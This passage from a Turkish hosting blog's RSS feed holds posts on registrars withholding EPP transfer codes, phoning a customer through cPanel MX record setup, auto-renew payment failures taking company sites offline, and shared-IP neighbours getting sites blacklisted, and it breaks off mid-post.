<p>Müşteri kendi parasıyla satın aldığı, faturasını ödediği mülkiyetinin karşısında resmen bir dijital rehineye dönüşmüştür.</p>
<h3>ICANN Kuralları Ne Diyor?</h3>
<p>ICANN'in <strong>Transfer Policy (Transfer Politikası)</strong> bu konuda milimetrik netliktedir ve hiçbir yoruma açık değildir:</p>
<blockquote>
<p><em>"Bir alan adı tescil operatörü (Registrar), kayıt sahibinin (Registrant) talebi üzerine EPP/Auth-Code bilgisini en geç <strong>5 takvim günü</strong> içinde sağlamakla yükümlüdür. Operatör, ödenmemiş hosting borçları, ticari anlaşmazlıklar veya keyfi yönetim kararları gerekçesiyle transfer kodunu alıkoyamaz veya transfer kilidini kapalı tutamaz."</em></p>
</blockquote>
<p>Yani müşterinin o firmaya hosting borcu olsa bile, alan adı üzerinde bir mahkeme kararı veya UDRP (alan adı uyuşmazlığı) davası yoksa firma o kodu vermek <strong>zorundadır</strong>. Alan adı ile hosting iki ayrı hukuki metadır; birinin faturası ödenmedi diye diğerine el konulamaz.</p>
<h3>Rehine Krizinde Kurtarma Operasyonu</h3>
<p>Eğer böyle bir merdiven altı firmanın eline düştüyseniz ve transfer kodunuz gasp ediliyorsa izleyeceğiniz cerrahi protokol şudur:</p>
<ol>
<li><strong>Yazılı İtiraz ve Süre Tanıma:</strong> Destek biletinden ICANN Transfer Policy kurallarını hatırlatarak <em>"Talebimin üzerinden 5 gün geçmiştir. EPP kodumun 24 saat içinde verilmemesi durumunda ICANN ve ana kayıt operatörünüze şikayet oluşturulacaktır"</em> uyarısı yapmak.</li>
<li><strong>Ana Kayıt Operatörünü (Reseller Zincirini) Bulmak:</strong> Merdiven altı hosting firmaları genellikle kendileri doğrudan Registrar değildir; ResellerClub, Openprovider, Tucows veya Enom gibi küresel bir firmanın bayisidir (Reseller). <code>whois</code> sorgusunda alan adının gerçek "Registrar" bilgisini tespit edip, bayinin kodu vermediğini belirterek doğrudan ana operatörün destek masasına başvurmak. Ana operatör kodu doğrudan bayiyi atlayarak e-postanıza gönderir.</li>
<li><strong>ICANN Transfer Şikayeti Açmak:</strong> ICANN'in resmi web sitesindeki <strong>"Transfer Complaint Form"</strong> üzerinden şikayet oluşturmak. Bu şikayet gittiğinde ilgili firmanın Registrar akreditasyonu askıya alınma riskiyle karşı karşıya kalır.</li>
</ol>
<h3>Müşteriyi Hizmetle Tutmak vs. Kelepçeyle Bağlamak</h3>
<p>Bir restoranın yemekleri lezzetsiz, garsonları kaba ve masaları kirliyse; kapıya koruma dikip müşterinin dışarı çıkmasını engellemek o restoranı başarılı kılmaz, sadece bir suç mahalline dönüştürür.</p>
<p>Kaliteli, vizyoner ve kendine güvenen bir bilişim firması, gitmek isteyen müşterinin önüne kırmızı halı serer. Transfer kilidini tek tıkla açtırır, EPP kodunu ekranda anında gösterir ve <em>"Sizi memnun edemediğimiz için üzgünüz, ileride tekrar bekleriz"</em> diyerek uğurlar. Çünkü bilir ki zorla tutulan müşteri eninde sonunda gidecektir; ama giderken arkasında açtığı şikayet başlıklarıyla, açtığı davalarla ve yaydığı kötü intibayla firmanın itibarını yerle bir edecektir.</p>
<p>EPP transfer kodunu vermemek ticaret değil, acizliktir. Dijital dünyada rehine tutarak para kazanmaya çalışanlar, eninde sonunda kendi kazdıkları etik çukurunda kaybolmaya mahkûmdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>EPP Code</category>
            <category>ICANN</category>
            <category>Hosting</category>
            <category>Sektör Ahlakı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/domain-transfer-kodu-eppauthcode-verme-zorbaligi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bana Telefonda Destek Verin": Bilgisayar Okuryazarlığı Olmayan Müşteriye MX Kaydı Anlatmak]]></title>
            <link>http://localhost:3000/blog/post/bana-telefonda-destek-verin-bilgisayar-okuryazarligi-olmayan-musteriye-mx-kaydi-anlatmak</link>
            <guid>bana-telefonda-destek-verin-bilgisayar-okuryazarligi-olmayan-musteriye-mx-kaydi-anlatmak</guid>
            <pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılı destek talebi açmak yerine "Ben yazamam, beni arayın" diye tutturan müşteriye, telefonun ucunda cPanel DNS Zone Editor üzerinden Google Workspace MX kayıtlarını harf harf kodlayarak anlatmaya çalışmanın yarattığı sinir harbi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bana-telefonda-destek-verin-bilgisayar-okuryazarligi-olmayan-musteriye-mx-kaydi-anlatmak/thumbnail" alt=""> Düşünün ki acil serviste kıdemli bir genel cerrahsınız. Telefonunuz çalar. Hattın diğer ucunda ıssız bir dağ kulübesinde olan, hayatında ilk yardım eğitimi dahi almamış bir adam vardır ve yanındaki arkadaşının akut apandisiti patlamak üzeredir. Cerrah mecburen telefondan adım adım yönlendirme yapmaya çalışır: <em>"Masadaki steril bistüriyi al, sağ alt kadrana McBurney noktasından 4 santimetrelik oblik kesi at, peritonu pensle tutarak ekartörle aç..."</em></p>
<p>Hattın diğer ucundaki adamın cevabı: <em>"Hocam bistüri dediğin çekmecedeki tırtıklı ekmek bıçağı mı? Kadran ne demek, sağ taraf hastanın sağı mı benim sağım mı?"</em></p>
<p>O an hekimin şakaklarında atan damarların çıkardığı sesi duyabilirsiniz. Çünkü tıp, hassas ve milimetrik bir terminolojidir; kavramların ne anlama geldiğini bilmeyen birine telefonda körlemesine cerrahi yaptırmaya kalkışmak hastayı öldürmekten başka bir sonuç doğurmaz.</p>
<p>Bilişim altyapısı ve sistem mühendisliği alanında da nöbetçi personeli canından bezdiren en büyük mesleki kabus, tam olarak bu kör cerrahi seansıdır: <strong>Bilgisayar okuryazarlığı sıfır olan bir müşteriye telefonda DNS Zone Editor üzerinden MX (Mail Exchanger) kaydı girdirmeye çalışmak.</strong></p>
<h3>"Ben Yazamam, Beni Arayın!" Resti</h3>
<p>Kullanıcı kurumsal e-postalarını Google Workspace'e veya Microsoft 365'e taşımaya karar vermiştir. Google kurulum sihirbazı ekrana kocaman harflerle 5 satırlık DNS MX tablosunu basmıştır:</p>
<ul>
<li>Öncelik: 1, Hedef: <code>ASPMX.L.GOOGLE.COM.</code></li>
<li>Öncelik: 5, Hedef: <code>ALT1.ASPMX.L.GOOGLE.COM.</code></li>
<li>Öncelik: 5, Hedef: <code>ALT2.ASPMX.L.GOOGLE.COM.</code></li>
</ul>
<p>Müşteri panelden bilet açıp <em>"Google'a geçtik, MX kayıtlarımızı ekler misiniz?"</em> yazsa, destek mühendisi terminalden 15 saniyede o kayıtları girecek ve olay tereyağından kıl çeker gibi çözülecektir. Fakat müşterimiz o meşhur "geleneksel esnaf" refleksiyle hareket eder:</p>
<blockquote>
<p><em>"Ben öyle bilet milet yazamam kardeşim! Ben iş adamıyım, vaktim yok. Beni derhal telefonla arayın, telefonda halledelim!"</em></p>
</blockquote>
<p>Firma müşteri memnuniyeti hatırına arar. Ve o an, tarihin en çetin 45 dakikalık sinir harbi başlar.</p>
<h3>Trajedinin Anatomisi: "Google'ı Açtım, Şimdi Ne Yapacağım?"</h3>
<p>Mühendis kulaklığı takar: <em>"İyi günler Ahmet Bey. Şimdi lütfen cPanel kontrol panelinize giriş yapınız."</em></p>
<ul>
<li><strong>Müşteri:</strong> <em>"cPanel ne evladım? Ben Google'dayım şu an."</em></li>
<li><strong>Mühendis:</strong> <em>"Tarayıcınızın adres çubuğuna alan adınızın sonuna iki nokta üst üste 2083 yazın lütfen. Yani <code>alanadiniz.com:2083</code>."</em></li>
<li><strong>Müşteri:</strong> <em>"Adres çubuğu neresi? Google arama kutusuna mı yazıyorum?"</em></li>
<li><strong>Mühendis:</strong> <em>"Hayır, en üstteki beyaz kutucuğa... Hani www yazdığınız yere."</em></li>
<li><strong>Müşteri:</strong> <em>"Yazdım, 'Bu siteye ulaşılamıyor' dedi. Siz beni yanlış yere gönderdiniz!"</em></li>
<li><strong>Mühendis:</strong> <em>"Ahmet Bey iki nokta üst üsteden sonra boşluk bıraktınız mı?"</em></li>
<li><strong>Müşteri:</strong> <em>"Evet, iki nokta koydum boşluk bıraktım iki bin seksen üç yazdım."</em></li>
<li><strong>Mühendis (iç çekerek):</strong> <em>"Boşluk bırakmayın lütfen..."</em></li>
</ul>
<p>On beş dakikalık bir boğuşmanın ardından nihayet cPanel paneline girilir. Karşılarında onlarca renkli ikonun bulunduğu modern bir arayüz vardır.</p>
<h3>Zone Editor Mayın Tarlası</h3>
<p>Mühendis yönlendirmeye devam eder: <em>"Şimdi aşağı kaydırın, 'Alan Adları' başlığı altında 'Zone Editor' ikonunu bulun ve tıklayın."</em></p>
<ul>
<li><strong>Müşteri:</strong> <em>"Zone ne? Zonguldak'ın Z'si mi? Bulamadım, burada E-posta var, Dosyalar var..."</em></li>
<li><strong>Mühendis:</strong> <em>"Klavyeden Ctrl ve F tuşlarına aynı anda basın, açılan arama kutusuna Zone yazın."</em></li>
<li><strong>Müşteri:</strong> <em>"F'ye bastım hiçbir şey olmadı! Klavyem kilitlendi!"</em></li>
</ul>
<p>Sonunda Zone Editor açılır. Sitenin tüm A, CNAME, TXT ve MX kayıtları bir liste halinde sıralanmıştır. Burası sunucunun şahdamarıdır; yanlışlıkla bir A kaydının silinmesi web sitesini anında karanlığa gömer.</p>
<p>Mühendis uyarır: <em>"Ahmet Bey, sakın kırmızı 'Sil' butonlarına basmayın. Sadece sağ üstteki 'Kayıt Ekle' butonunun yanındaki küçük oka tıklayın ve 'Add MX Record' seçeneğini seçin."</em></p>
<p>Ve işte o efsanevi harf kodlama seansı başlar:</p>
<ul>
<li><strong>Mühendis:</strong> <em>"Öncelik kısmına '1' yazın."</em></li>
<li><strong>Müşteri:</strong> <em>"Yazdım. Hedef kısmına ne yazıyorum?"</em></li>
<li><strong>Mühendis:</strong> <em>"Adana, Samsun, Pırasa, Manisa, X-Ray nokta L nokta Google nokta com. Sonuna da mutlaka bir nokta koyun."</em></li>
<li><strong>Müşteri:</strong> <em>"Pırasa mı? X-Ray ne demek oğlum Türkçe konuşun! Adana, Samsun, Pırasa... com yazdım."</em></li>
<li><strong>Mühendis:</strong> <em>"Sonuna nokta koydunuz mu?"</em></li>
<li><strong>Müşteri:</strong> <em>"Com'un sonuna niye nokta koyayım, hiç öyle şey olur mu? Sen benimle dalga mı geçiyorsun?"</em></li>
<li><strong>Mühendis:</strong> <em>"DNS standardında tam nitelikli alan adlarının (FQDN) kök dizini temsil etmesi için sonuna nokta konur Ahmet Bey."</em></li>
<li><strong>Müşteri:</strong> <em>"Bana felsefe yapma evladım, kaydet dedim hata verdi kırmızı yandı ekran!"</em></li>
</ul>
<h3>Neden Yazılı Destek Bir Zorunluluktur?</h3>
<p>Bu trajik diyalog, bilişim sektöründe neden <strong>yazılı destek (ticket)</strong> sisteminin bir bürokrasi değil, teknik bir emniyet kemeri olduğunu kanıtlar.</p>
<ol>
<li><strong>İnsan Kulağının Yanılma Payı:</strong> Harflerin telefonda yanlış anlaşılması (<code>b</code> ile <code>d</code>, <code>m</code> ile <code>n</code>) DNS kaydını geçersiz kılar. Yazılı bilette metin kopyalanıp yapıştırılır; sıfır hata toleransıyla işlenir.</li>
<li><strong>Kayıt ve Denetim İzi (Audit Trail):</strong> Telefonda <em>"Şunu sil"</em> dediğinizde müşteri yanlış bir kaydı silerse yarın <em>"Bana sistemci sildirdi, bütün sitemi batırdılar"</em> diye hak iddia eder. Yazılı sistemde her komut, her talep loglanır ve kanıtlanır.</li>
<li><strong>Mühendislik Zamanının Gaspı:</strong> Bir mühendisin 45 dakikasını tek bir MX kaydı girmek için telefonda harcaması, veri merkezinde gerçek bir kriz yaşayan veya acil sunucu kesintisi bekleyen onlarca diğer müşterinin hakkını gasp etmektir.</li>
</ol>
<p>Tıpta nasıl "telefonda ameliyat" yapılamazsa, bilişimde de telefon üzerinden körlemesine sistem konfigürasyonu yapılmaz. Teknik destek, sohbet hattı değildir. Çözüm bellidir: Bilmiyorsanız yetkiyi yazılı olarak uzmana devredersiniz; uzman arka planda neşteri vurur, sistemi ayağa kaldırır ve size anahtarı teslim eder. Telefonda cehaletle inatlaşmanın varacağı tek yer, kopan sinirler ve çöken sistemlerdir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Müşteri Hizmetleri</category>
            <category>DNS</category>
            <category>Teknoloji Okuryazarlığı</category>
            <category>Sistem Yönetimi</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bana-telefonda-destek-verin-bilgisayar-okuryazarligi-olmayan-musteriye-mx-kaydi-anlatmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Auto-Renew (Otomatik Yenileme) İllüzyonu" ve Kapanan Şirket Siteleri]]></title>
            <link>http://localhost:3000/blog/post/auto-renew-otomatik-yenileme-illuzyonu-ve-kapanan-sirket-siteleri</link>
            <guid>auto-renew-otomatik-yenileme-illuzyonu-ve-kapanan-sirket-siteleri</guid>
            <pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kredi kartının son kullanma tarihi bittiği veya sanal kart limiti yetersiz olduğu için otomatik yenilenemeyen hosting ve alan adı hizmetleri, sistemden gelen 8 uyarı e-postasını "spam" sanıp okumayan patronun pazartesi sabahı yaşadığı çöküş.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/auto-renew-otomatik-yenileme-illuzyonu-ve-kapanan-sirket-siteleri/thumbnail" alt=""> Hastanelerin yoğun bakım ünitelerinde hekimlerin ve hemşirelerin en çok korktuğu sinsi klinik fenomenlerden biri "Alarm Yorgunluğu" (Alarm Fatigue) olarak adlandırılır. Bir yoğun bakım odasında her an düzinelerce monitör, infüzyon pompası, diyaliz cihazı ve ventilatör çalışır. Bu cihazlar en ufak bir ritim değişikliğinde veya sıvı azalmasında bip sesleriyle alarm verir. Eğer personel bu uyarılara karşı duyarsızlaşır ve o sesleri "rutin arka plan gürültüsü" olarak kodlarsa felaket kapıdadır. Hastanın kalbini çalıştıran noradrenalin infüzyon pompası "İlaç bitti, hazneyi değiştirin" diye kırmızı ışık yakıp 6 saat boyunca alarm verir; kimse o hazneyi yenilemez. İlaç damardan kesildiği saniyede hastanın kan basıncı sıfıra çakılır ve monitörde düz çizgi (asistoli) belirir. Cihaz suçlu değildir; alarmı duymayan insan faktörü ölümcül olmuştur.</p>
<p>Kurumsal bilişim altyapılarında da şirket sitelerini ve kurumsal e-postaları bir gecede yerle bir eden en büyük ihmallerden biri, <strong>"Auto-Renew (Otomatik Yenileme) İllüzyonu"</strong> ve beraberinde gelen o öldürücü alarm körlüğüdür.</p>
<h3>Pazartesi 08:30: Sessizliğin Dehşeti</h3>
<p>Pazartesi sabahı şirketin çağrı merkezi ve satış ofisi derin bir sessizliğe bürünmüştür. Telefonlar çalmamakta, tek bir sipariş veya teklif e-postası düşmemektedir. Şirket genel müdürü şüphelenip firmanın web sitesine girmeyi dener:</p>
<pre><code class="language-text">Server Error: This domain has expired.
The sponsor of this domain has not renewed it.
Renew your domain at example-registrar.com
</code></pre>
<p>Genel müdür koltuğundan fırlar. Muhasebe müdürünü, bilgi işlem sorumlusunu ve genel koordinatörü odasına çağırır: <em>"Web sitemiz gitmiş! 'Domain süresi bitti' yazıyor! Biz bunu otomatik yenilemeye almamış mıydık? Muhasebe faturaları ödemedi mi?"</em></p>
<p>Muhasebe müdürü panikle cevap verir: <em>"Efendim biz 3 yıl önce sisteme şirket kredi kartını tanımlamıştık, 'Otomatik Yenile' seçeneğini işaretlemiştik. Kendi kendine çekmesi lazımdı!"</em></p>
<p>Peki o zaman bu site neden kapandı?</p>
<h3>Kartın Ölümü ve Sanal Kart Tuzağı</h3>
<p>Hosting ve alan adı kayıt kuruluşları, yenileme tarihlerini kusursuz bir otomasyon döngüsüyle takip eder. Hizmet süresi dolmadan 15 gün önce fatura oluşturulur, 7 gün önce kayıtlı kredi kartı tetiklenir.</p>
<p>Fakat gerçek hayatın finansal dinamikleri o kod satırları kadar steril değildir:</p>
<ol>
<li><strong>Süresi Dolan Kartlar:</strong> Üç yıl önce sisteme kaydedilen kurumsal kredi kartının son kullanma tarihi (<code>02/26</code>) geçmiştir. Banka yeni kartı genel merkeze postalamış, zarf muhasebenin çekmecesinde açılmadan beklemiş, ama kimse hosting panelindeki kart bilgilerini güncellememiştir.</li>
<li><strong>Sanal Kart Limitinin Sıfırlanması:</strong> Şirketin bilgi işlemcisi "güvenlik olsun" diye sisteme bir sanal kart bağlamıştır. Ancak o sanal kartın limiti sadece o günkü alışveriş kadar açılmış, işlem bitince limit sıfıra indirilmiştir. Sistem yenileme günü geldiğinde karttan 1.200 TL çekmeye çalışır; bankadan buz gibi bir yanıt döner: <code>Declined: Insufficient Funds / Yetersiz Bakiye</code>.</li>
<li><strong>Banka Güvenlik Blokajları (3D Secure Zorunluluğu):</strong> Bankacılık Düzenleme ve Denetleme Kurumu'nun (BDDK) getirdiği bazı kurallar gereği, kart sahibinin SMS onayı (3D Secure) vermediği yurt dışı veya belirli kategorideki periyodik çekimler banka tarafından "şüpheli işlem" sayılarak reddedilir.</li>
</ol>
<p>Kart çekilemez. Otomasyon sessizce başarısız olur.</p>
<h3>Alarm Yorgunluğu: 8 Adet E-postanın Çöp Kutusundaki Sonu</h3>
<p>Sistem karttan para çekemeyince intikam almaz; adeta yoğun bakımdaki infüzyon pompası gibi çılgınca alarm vermeye başlar. Kayıtlı e-posta adresine peş peşe otomatik bildirimler gönderilir:</p>
<ul>
<li><strong>T-15 Gün:</strong> <em>"Faturanız oluşturuldu, otomatik çekim 7 gün içinde denenecektir."</em></li>
<li><strong>T-7 Gün:</strong> <em>"Ödeme denemesi başarısız oldu! Lütfen kredi kartı bilgilerinizi güncelleyiniz."</em></li>
<li><strong>T-3 Gün:</strong> <em>"UYARI: Alan adınız 3 gün sonra askıya alınacaktır! Kartınızdan çekim yapılamadı."</em></li>
<li><strong>T-1 Gün:</strong> <em>"SON UYARI: Hizmetiniz yarın durdurulacaktır."</em></li>
<li><strong>T Günü:</strong> <em>"Hizmetiniz askıya alınmıştır (Suspended)."</em></li>
</ul>
<p>Peki bu hayati alarmlar neden kimse tarafından görülmez?</p>
<p>Çünkü sisteme kaydedilen e-posta adresi ya 5 yıl önce şirketten ayrılmış olan eski personelin şahsi e-postasıdır (<code>ahmet_bilgiislem@gmail.com</code>), ya şirket sekreterinin her gün 500 tane reklam maili aldığı ve asla açmadığı bir <code>info@sirketadi.com.tr</code> hesabıdır, ya da firmanın kendi e-posta filtreleri hosting şirketinin bildirimlerini "Otomatik fatura maili işte, önemsiz" diyerek Spam klasörüne süpürmüştür!</p>
<h3>"Haber Vermeden Kapattınız" İtirazı</h3>
<p>Pazartesi günü saat 09:15'te şirketin avukatı ve yöneticisi hosting firmasının destek hattını arar:</p>
<blockquote>
<p><em>"Siz nasıl bir kurumsunuz! Bize haber vermeden, bir telefon bile etmeden sitemizi nasıl kapatırsınız? Biz otomatik ödeme talimatı vermiştik, sisteminiz çekememişse sizin suçunuz! Milyonluk itibarımız sarsıldı, derhal açın yoksa tazminat davası açıyoruz!"</em></p>
</blockquote>
<p>Destek ekibi log kayıtlarını ekrana döker:</p>
<ul>
<li>Sistem tarafından gönderilen 8 farklı e-posta bildirimi.</li>
<li>Banka API'sinden dönen 4 farklı <code>Transaction Failed (Invalid Expiry Date)</code> hata kodu.</li>
<li>Sistemde SMS bildirim seçeneğinin müşteri tarafından kapatılmış olması.</li>
</ul>
<p>Tüm deliller masaya konulduğunda feryat eden yönetici bir anda suskunlaşır. Çünkü sözleşmede açıkça yazar: <strong>"Hizmet sürelerinin takibi ve geçerli bir ödeme yönteminin sağlanması tamamen müşterinin sorumluluğundadır."</strong></p>
<h3>Dijital Can Damarlarını Güvenceye Alma Protokolü</h3>
<p>Otomasyona güvenmek bir konfordur; ancak otomasyonun arkasını kontrol etmemek körlüktür. Şirketinizin dijital varlıklarını auto-renew tuzağından korumak için şu kurallar demir kanundur:</p>
<ol>
<li><strong>Merkezi ve Kalıcı İletişim E-postası:</strong> Hosting ve domain panellerinde asla kişisel veya personelin şahsi maillerini kullanmayın. <code>domain-admin@sirketadi.com.tr</code> veya şirket ortaklarının doğrudan eriştiği bağımsız bir harici adres (örneğin kurumsal bir Google Workspace grubu) tanımlayın.</li>
<li><strong>Yıllık Takvim Hatırlatıcıları:</strong> Sadece panel otomasyonuna güvenmeyin. Şirketin mali takvimine, domain ve sunucu bitiş tarihlerinden 30 gün öncesi için yöneticilerin telefonlarına takvim alarmı kurun.</li>
<li><strong>Çok Yıllık Tescil:</strong> Kritik ana alan adınızı yıllık değil, 5 veya 10 yıllık tescil edin. Bu hem sizi her yıl kart yenileme stresinden kurtarır, hem de arama motorlarının gözünde alan adınızın güvenilirlik puanını (Domain Age Trust) artırır.</li>
<li><strong>Yedek Ödeme Yöntemi:</strong> Panellere her zaman bir birincil, bir de ikincil yedek kredi kartı tanımlayın. Birincil kart limit aşımına uğrarsa sistem ikincil karttan çekimi tamamlasın.</li>
</ol>
<p>İnfüzyon pompasının alarmını kısmak hastayı hayatta tutmaz; sadece ölümün sessizce gelmesine neden olur. Gelen fatura ve yenileme e-postalarını görmezden gelip suçu "otomatik çekim yapmayan sunucuya" atmak, sorumsuzluğun dijital kılıfıdır. Altyapı canlı bir organizmadır; suyunu ve faturasını takip etmezseniz bir sabah kapınızda cenaze levazımatçısını bulursunuz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Hosting</category>
            <category>Otomasyon</category>
            <category>Finans</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/auto-renew-otomatik-yenileme-illuzyonu-ve-kapanan-sirket-siteleri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Shared IP Üzerinde Adult/Spam Komşu" ve Google Index Kaybı]]></title>
            <link>http://localhost:3000/blog/post/shared-ip-uzerinde-adultspam-komsu-ve-google-index-kaybi</link>
            <guid>shared-ip-uzerinde-adultspam-komsu-ve-google-index-kaybi</guid>
            <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Paylaşımlı sunucuda aynı IPv4 adresini paylaştığı 300 siteden birinin kaçak bahis, phishing veya yetişkin içerik barındırması yüzünden, tertemiz kurumsal web sitesinin Google tarafından kara listeye alınıp arama dizininden silinmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/shared-ip-uzerinde-adultspam-komsu-ve-google-index-kaybi/thumbnail" alt=""> Hastanelerin cerrahi servislerinde hekimlerin en büyük kabuslarından biri "Nozokomiyal Enfeksiyon" (hastane kaynaklı enfeksiyon) ve koğuş kontaminasyonudur. Düşünün ki son derece başarılı, steril ve kusursuz bir kalp bypass ameliyatı geçirmişsiniz. Ameliyathaneden sağ salim çıkıyorsunuz. Ancak hastanedeki yatak sıkıntısı yüzünden sizi genel serviste, yan yatağında çoklu ilaca dirençli tüberküloz (MDR-TB) veya antibiyotiklerin hiçbirine yanıt vermeyen ölümcül bir <em>Metisiline Dirençli Staphylococcus Aureus</em> (MRSA) taşıyan bir hastayla aynı odaya yatırıyorlar. Ortak havalandırmadan ve personelin dikkatsizliğinden o bakteri sizin açık ameliyat yaranıza sıçrıyor. Sizin cerrahi operasyonunuz kusursuzdur, vücudunuz temizdir; fakat yanınızdaki komşunun toksik yükü yüzünden enfeksiyon kapar, yoğun bakıma kaldırılır ve tüm oda karantinaya alınır.</p>
<p>Web barındırma dünyasında, özellikle yüzlerce sitenin tek bir fiziksel IP adresinin arkasına tıkıştırıldığı paylaşımlı (shared) hosting altyapılarında her gün binlerce temiz web sitesinin başına gelen felaket tam olarak bu koğuş enfeksiyonudur: <strong>Kötü niyetli bir komşunun faturasını tüm IP bloğunun ödemesi.</strong></p>
<h3>Salı Sabahı: Google Aramalarında Yok Oluş</h3>
<p>Bir endüstriyel makine üreticisinin veya saygın bir hukuk bürosunun web sitesi... Yıllardır titizlikle hazırlanmış özgün makaleler, sektörel rehberler, binlerce saatlik SEO emeği. Şirket Google aramalarında "iş hukuku avukatı" veya "hidrolik pres imalatı" kelimelerinde ilk üç sıradadır. Telefonlar susmamakta, organik ziyaretçiler akmaktadır.</p>
<p>Salı sabahı şirketin pazarlama müdürü Google Search Console'u açar. Karşısına çıkan grafik tam anlamıyla bir serbest düşüştür. Dün günde 2.000 organik tıklama alan web sitesinin tıklama sayısı sıfıra inmiştir! Google'da <code>site:sirketadi.com.tr</code> araması yapılır: <strong>Hiçbir sonuç bulunamadı.</strong></p>
<p>Site, arama motorunun dizininden (index) adeta bir cımbızla sökülüp atılmıştır.</p>
<p>Pazarlama ekibi birbirine girer: <em>"Yazılımcı sitemap'i mi sildi? Biri <code>robots.txt</code> dosyasına <code>Disallow: /</code> mu yazdı? Hacklendik mi?"</em></p>
<p>Kodlar incelenir; tek bir hata yoktur. Sitenin kaynak kodları tertemizdir, sunucuda virüs yoktur. Peki bu devasa kurumsal marka neden Google tarafından dijital bir cüzzamlı gibi tecrit edilmiştir?</p>
<h3>Reverse IP Lookup Otopsisi: Komşuların Karanlık Dünyası</h3>
<p>Sorunun kaynağını anlamak için alan adının bağlı olduğu fiziksel sunucu IP adresine (<code>185.120.xx.xx</code>) bir "Reverse IP Lookup" (Ters IP Sorgusu) atılır. Bu sorgu, o tekil IP adresini sizinle birlikte paylaşan diğer web sitelerinin listesini döker.</p>
<p>Ve ekranda beliren liste, tam bir suç mahalli panosudur:</p>
<ul>
<li><code>bedava-bahis-giris24.xyz</code> (Kaçak bahis ve kumar yönlendirmesi)</li>
<li><code>adult-video-izle-hd.net</code> (Korsan ve zararlı yetişkin içerik ağı)</li>
<li><code>banka-giris-guvenlik-onay.com</code> (Phishing / oltalama amaçlı sahte banka sitesi)</li>
<li><code>kripto-katlama-garanti.top</code> (Sahte yatırım dolandırıcılığı)</li>
</ul>
<p>Müşterinin yıllık 200 TL verip barındığı o paylaşımlı sunucu kabininde, sistem yöneticisinin denetim yetersizliği veya ucuz müşteri kapma hırsı yüzünden sunucuya tam 400 farklı web sitesi doldurulmuştur. Ve bu sitelerden 3-4 tanesi, Doğu Avrupa ve Asya merkezli siber suç şebekelerinin phishing ve spam operasyonları için açtığı paravan alan adlarıdır!</p>
<h3>Google Safe Browsing ve Spamhaus Tokadı</h3>
<p>Gece saatlerinde o sahte banka sitesi yüz binlerce sahte SMS atmış, binlerce kullanıcıyı dolandırmaya çalışmıştır. Google Safe Browsing radarları, Spamhaus RBL (Real-time Blackhole List) ve Netcraft güvenlik botları durumu anında tespit etmiştir.</p>
<p>Ancak güvenlik mekanizmaları çoğu zaman alan adı bazında değil, <strong>IP adresi ve subnet (C-Class IP Bloğu)</strong> seviyesinde koruma duvarı örer. Güvenlik botu kararını verir: <em>"Bu IP adresi organize bir dolandırıcılık ve kötü amaçlı yazılım yuvasıdır."</em></p>
<p>IP adresi kara listeye alınır. Google botları o IP'deki sunucuya gelen tüm istekleri şüpheli olarak işaretler. Google'ın yapay zeka tabanlı TrustRank algoritması, o IP'den yayın yapan sitelerin güvenilirlik puanını sıfıra çeker. Kötü komşuların yaydığı cerahat, yan komşunun tertemiz hukuk sitesinin de ciğerlerine dolmuş ve site toplu karantina kurbanı olmuştur.</p>
<h3>Paylaşımlı Hostingde Ortak Yaşamın Bedeli</h3>
<p>Paylaşımlı hosting ucuzdur; ancak ucuz olmasının sebebi maliyetin ve riskin komşularla bölüşülmesidir. Apartman dairesinde oturmak gibidir: Üst kattaki komşunuz banyosunu suyla doldurup taşırırsa, sizin salonunuzun tavanı akar. Alt kattaki komşunuz evinde kaçak patlayıcı imal ederse, patlamada sizin balkonunuz da uçar.</p>
<p>Bir paylaşımlı sunucuda ortak kullanılan şeyler sadece RAM ve CPU değildir:</p>
<ol>
<li><strong>IP İtibarı (IP Reputation):</strong> E-posta gönderirken kullanılan IP adresi kirlenirse, sizin şirket mailleriniz de müşterilerin Spam kutusuna düşer.</li>
<li><strong>Ağ Trafiği:</strong> Komşu siteye gelen 50 Gbps büyüklüğündeki bir DDoS saldırısı, sunucunun ağ kartını (NIC) yakar ve sizin siteniz de erişilemez olur.</li>
<li><strong>Arama Motoru Güven Endeksi:</strong> Algoritmalar bir IP bloğundaki sitelerin çoğunluğunun çöp/spam olduğunu görürse, o sunucudaki yeni alan adlarına karşı da önyargılı ve şüpheci yaklaşır.</li>
</ol>
<h3>Koğuştan Özel Odaya Geçiş: Dedicated IP ve İzolasyon</h3>
<p>Kurumsal bir işletmenin, cirosunu ve itibarını internetten kazanan bir markanın kaderini 10 dolarlık paylaşımlı hosting komşularının insafına bırakması kabul edilemez bir yönetim hatasıdır. Bu enfeksiyondan korunmanın adımları son derece nettir:</p>
<ul>
<li><strong>Dedicated IP (Statik Özel IP):</strong> Paylaşımlı hostingde kalsanız dahi firmanızdan mutlaka aylık 2-3 dolar fark ödeyerek sitenize özel bir Dedicated IP tanımlatın. Bu sayede web siteniz ve e-posta çıkışlarınız sunucudaki diğer 300 komşunun IP adresinden tamamen ayrışır; kendi bağımsız itibar geçmişinizi yazarsınız.</li>
<li><strong>Sanal Sunucu (VDS / VPS):</strong> Bütçeyi biraz artırarak paylaşımlı hosting ortamından çıkıp, işletim sistemi ve IP adresi tamamen size tahsis edilmiş bağımsız bir sanal sunucuya geçin.</li>
<li><strong>Ters IP Taramaları:</strong> Düzenli aralıklarla HackerTarget veya YouGetSignal gibi araçlarla IP adresinizde başka hangi alan adlarının barındığını periyodik olarak kontrol edin.</li>
